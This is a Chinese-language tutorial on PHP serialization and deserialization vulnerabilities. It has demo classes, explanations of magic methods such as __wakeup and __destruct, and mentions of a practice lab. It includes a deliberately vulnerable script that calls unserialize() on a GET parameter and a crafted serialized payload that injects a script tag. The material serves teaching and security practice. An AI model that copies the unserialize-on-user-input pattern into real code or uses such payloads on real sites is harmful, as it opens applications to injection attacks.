反序列化的概念
在面向对象编程语言中,就是将对象转化为字节流,这一步是序列化,字节流中包括这个对象的数据和信息,便于传输和存储,是可以在网络中传输的。需要时,通过反序列化从字节流中恢复对象。
类似于物流快递对物品的处理过程。拆解打包 =>运输 =>拆包组装
接下来我们去写一个代码,体会一下,创建类,实例化为对象,从对象转化为字节流(序列化),再由字节流转化为对象(反序列化),话不多说直接上代码,同样在www下创建文件夹,去访问
<meta charset="utf-8">
<?php
// 1.定义类
class Person{
var $name;
var $age;
function __construct($name1,$age1 )
{
$this->name = $name1;
$this->age = $age1;
}
function show()
{
echo '姓名:'.$this->name.',年龄:'.$this->age.'<br>';
}
}
//2. 通过类实例化对象
$p1=new Person("张三丰",101);
// 3. 使用对象的成员
$p1->show();
echo "太极创始人:".$p1->name."<br>";
var_dump($p1);
echo "<br>";
// 4. 将对象序列化为字节流
$data = serialize($p1);
// 5. 打印字节流数据
echo $data."<br>";
// 6. 将字节流反序列化为对象
$p11 = unserialize($data);
var_dump($p11);
echo "<br>";
?>
反序列化的漏洞产生原理
序列化和反序列化本身并不存在问题。但当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。可以理解为数据在传输时,遭到了篡改,就好像是,我们的快递在运输时,让人掉包了,但是经过正常的运输流程还是到了你的手上,当你去打开使用时发现,出问题了。
我们还是通过写代码的方式来演示
<meta charset="utf-8">
<?php
// 1.定义类
class Person{
var $name;
var $age;
function __construct($name1,$age1 )
{
$this->name = $name1;
$this->age = $age1;
}
function show()
{
echo '姓名:'.$this->name.',年龄:'.$this->age.'<br>';
}
}
//2. 通过类实例化对象
$p1=new Person("张三丰",101);
// 3. 使用对象的成员
$p1->show();
echo "太极创始人:".$p1->name."<br>";
var_dump($p1);
echo "<br>";
// 4. 将对象序列化为字节流
$data = serialize($p1);
// 5. 打印字节流数据
echo $data."<br>";
// 数据在传输的时候,就有可能遭到篡改,就会产生反序列化漏洞
// $data = 'O:6:"Person":2:{s:4:"name";s:9:"张三丰";s:3:"age";i:101;}';
// 将name的值篡改成恶意JS代码,当反序列化时,使用name的值的时候,就会执行恶意代码
// 这里的25值是根据后面的代码所占有的字节数决定的,如果不一致,就会产生错误
$data = 'O:6:"Person":2:{s:4:"name";s:25:"<script>alert(1)</script>";s:3:"age";i:101;}';
// 当我们传参输入?data=O:6:"Person":2:{s:4:"name";s:25:"<script>alert(1)</script>";s:3:"age";i:101;},这里就可以是来自用户的输入,发现也可以执行代码
$data = $_GET['data'];
// 6. 将字节流反序列化为对象
$p11 = unserialize($data);
var_dump($p11);
echo "<br>";
?>
下面就要进入靶场来实践了,
通过上面的演示,我们知道要输入?data=O:6:"Person":2:{s:4:"name";s:25:"<script>alert(1)</script>";s:3:"age";i:101;}这样的字符串才可以,但是我们并不知道这里的类是怎么样进行创建的所以我们看看源代码,路径
可以看到这里已经写好了payload,我们拿去执行,如果你说那我们怎么知道后端的类是怎么写呢,就一个字猜
这会有人就会说,怎么不讲讲魔法函数,这不就来嘛,但是我们要注意,上面我们没有使用魔法函数,但是反序列化漏洞依然存在,所以两者没有必然的联系。
那么魔法函数是什么,一般两个下划线开头的函数都是魔术方法,所谓魔术无非就是会自动调用而已。下面列举一些常见的魔法函数:
- __construct() 当一个对象创建时被调用
- __destruct()当一个对象销毁时被调用
- __toString()当一个对象被当作一个字符串使用被调用
- __sleep()在对象在被序列化之前被调用
- __wakeup()在反序列化之后立刻被调用
下面我们通过代码底层逻辑来了解到底是怎么一回事,做法和上面一样,写好后,去访问,看看效果,同时去理解代码,闲言少叙,直接上代码
<meta charset='utf-8'>
<?php
// 1.定义类
class Phone {
var $brand;//品牌
var $color;//颜色
var $price;//价格
// 魔法函数,有用户定义,由系统自动调用(回调函数)
// 构造函数,在实例化对象时,被调用
function __construct($b,$c,$p){
$this->brand = $b;
$this->color = $c;
$this->price = $p;
echo "__construct<br>";
}
// 构造函数,在对象销毁前调用
function __destruct() {
// 有可能会把对象写入文件中,因为要销毁嘛
echo "__destruct<br>";
}
// 将对象转换为字符串的函数,在对象当成字符串使用时去使用时有系统调用
function __tostring() {
echo "__tostring<br>";
return $this->brand.$this->color.$this->price;
}
// 在序列话之前,有系统调用,这个函数可以决定序列化时,调用哪些成员
function __sleep() {
echo "__sleep<br>";
return array('brand','color','price');// 在这里我们取消一个成员,看看有什么变化,即return array('brand','color')
}
// 在反序列化之后,由系统调用
function __wakeup() {
echo "__wakeup<br>";
}
}
$p1 = new Phone("vivo","黑色",5000);
// var_dump($p1);
// 注意这里echo是不允许输出对象的,那么我们就需要使用,__tostring这个函数来输出
echo $p1."<br>";
// echo "<br>";
$data = serialize($p1);// 如果没有进行序列化,那么也就不会执行__sleep函数
echo $data."<br>";
$p2 = unserialize($data);// 到这里就有了俩个对象$p1,$p2,那么__destruct()这个函数就会被执行俩次
// 观察每一次输出函数名时的位置,就可以清晰的知道这个函数是什么时候被调用的
?>
这次代码较多,还望大家多多理解代码的含义,先去理解底层逻辑,才能更好的渗透不是吗。